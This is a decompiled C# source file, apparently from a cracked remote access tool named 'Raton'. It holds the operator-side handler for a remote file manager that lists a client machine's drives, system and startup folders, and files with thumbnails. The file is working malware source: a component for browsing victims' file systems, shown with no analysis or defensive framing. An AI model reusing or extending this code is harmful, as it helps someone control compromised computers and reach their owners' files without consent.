149 lines
5.5 KiB
C#
149 lines
5.5 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Server.Handlers.HandleFileManager
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
|
|
|
using Raton.Forms.ClientForms.Monitor;
|
|
using Raton.Properties;
|
|
using Server.Connection;
|
|
using Stuff;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using System.Windows.Forms;
|
|
|
|
#nullable disable
|
|
namespace Server.Handlers;
|
|
|
|
internal class HandleFileManager
|
|
{
|
|
public HandleFileManager(SillyClient SillyClient, Unpack unpack)
|
|
{
|
|
ratonFIleManager fileManagerForm = (ratonFIleManager) Application.OpenForms["File Manager | Client ID: " + unpack.GetAsString("UID")];
|
|
if (fileManagerForm == null)
|
|
return;
|
|
if (fileManagerForm.SillyClient == null)
|
|
{
|
|
fileManagerForm.SillyClient = SillyClient;
|
|
fileManagerForm.timer1.Start();
|
|
}
|
|
fileManagerForm.Invoke((Delegate) (() =>
|
|
{
|
|
switch (unpack.GetAsString("Action"))
|
|
{
|
|
case "Drives":
|
|
Dictionary<string, byte[]> all = unpack.GetAll();
|
|
fileManagerForm.aeroListView1.Items.Clear();
|
|
fileManagerForm.aeroListView2.Items.Clear();
|
|
fileManagerForm.textBox1.Text = string.Empty;
|
|
using (Dictionary<string, byte[]>.Enumerator enumerator = all.GetEnumerator())
|
|
{
|
|
while (enumerator.MoveNext())
|
|
{
|
|
KeyValuePair<string, byte[]> current = enumerator.Current;
|
|
if (!(current.Key == "Packet") && !(current.Key == "UID") && !(current.Key == "Action"))
|
|
{
|
|
fileManagerForm.aeroListView2.Items.Add(new ListViewItem(current.Key)
|
|
{
|
|
ImageKey = "df0nr8k-b42efd9c-be6b-41c0-9659-817a6d429cbe.png"
|
|
});
|
|
Program.form2.AddSuccessLog((object) ("Added the drive " + current.Key), (object) Color.LightGreen);
|
|
}
|
|
}
|
|
break;
|
|
}
|
|
case "Quick":
|
|
fileManagerForm.aeroListView3.Items.Clear();
|
|
string[] strArray1 = new string[26]
|
|
{
|
|
"Desktop",
|
|
"Documents",
|
|
"Downloads",
|
|
"Pictures",
|
|
"Music",
|
|
"Videos",
|
|
"AppData",
|
|
"LocalAppData",
|
|
"Roaming",
|
|
"Temp",
|
|
"UserProfile",
|
|
"Startup",
|
|
"StartupCommon",
|
|
"Programs",
|
|
"ProgramsCommon",
|
|
"ProgramFiles",
|
|
"ProgramFilesX86",
|
|
"ProgramData",
|
|
"Windows",
|
|
"System",
|
|
"SystemX86",
|
|
"Fonts",
|
|
"Templates",
|
|
"Recent",
|
|
"SendTo",
|
|
"Root"
|
|
};
|
|
foreach (string str in strArray1)
|
|
{
|
|
string asString = unpack.GetAsString(str);
|
|
if (!string.IsNullOrEmpty(asString))
|
|
fileManagerForm.aeroListView3.Items.Add(new ListViewItem(str)
|
|
{
|
|
ImageIndex = 1,
|
|
Tag = (object) asString
|
|
});
|
|
}
|
|
break;
|
|
case "Goto":
|
|
fileManagerForm.aeroListView1.Items.Clear();
|
|
fileManagerForm.textBox1.Text = unpack.GetAsString("CurrentPath");
|
|
string asString1 = unpack.GetAsString("Folders");
|
|
string asString2 = unpack.GetAsString("Files");
|
|
string[] strArray2 = asString1.Split(new string[1]
|
|
{
|
|
"-=>"
|
|
}, StringSplitOptions.None);
|
|
string[] strArray3 = asString2.Split(new string[1]
|
|
{
|
|
"-=>"
|
|
}, StringSplitOptions.None);
|
|
fileManagerForm.imageList1.Images.Clear();
|
|
fileManagerForm.aeroListView1.BeginUpdate();
|
|
fileManagerForm.imageList1.Images.Add("foldershit", (Image) Resources.Folder.Clone());
|
|
for (int index = 0; index < strArray2.Length - 1; index = index + 2 + 1)
|
|
fileManagerForm.aeroListView1.Items.Add(new ListViewItem()
|
|
{
|
|
Text = strArray2[index],
|
|
SubItems = {
|
|
strArray2[index + 1],
|
|
"Folder",
|
|
string.Empty
|
|
},
|
|
Tag = (object) strArray2[index + 2],
|
|
ImageKey = "foldershit"
|
|
});
|
|
for (int index = 0; index < strArray3.Length - 1; index = index + 5 + 1)
|
|
{
|
|
ListViewItem listViewItem = new ListViewItem();
|
|
listViewItem.Text = strArray3[index];
|
|
listViewItem.SubItems.Add(strArray3[index + 1]);
|
|
listViewItem.SubItems.Add(strArray3[index + 2]);
|
|
listViewItem.SubItems.Add(strArray3[index + 3]);
|
|
listViewItem.SubItems.Add(strArray3[index + 4]);
|
|
listViewItem.Tag = (object) strArray3[index + 4];
|
|
Image image = Image.FromStream((Stream) new MemoryStream(Convert.FromBase64String(strArray3[index + 5])));
|
|
fileManagerForm.imageList1.Images.Add(strArray3[index], image);
|
|
listViewItem.ImageKey = strArray3[index];
|
|
fileManagerForm.aeroListView1.Items.Add(listViewItem);
|
|
}
|
|
fileManagerForm.aeroListView1.EndUpdate();
|
|
fileManagerForm.aeroListView1.Visible = true;
|
|
fileManagerForm.aeroListView1.Enabled = true;
|
|
break;
|
|
}
|
|
}));
|
|
}
|
|
}
|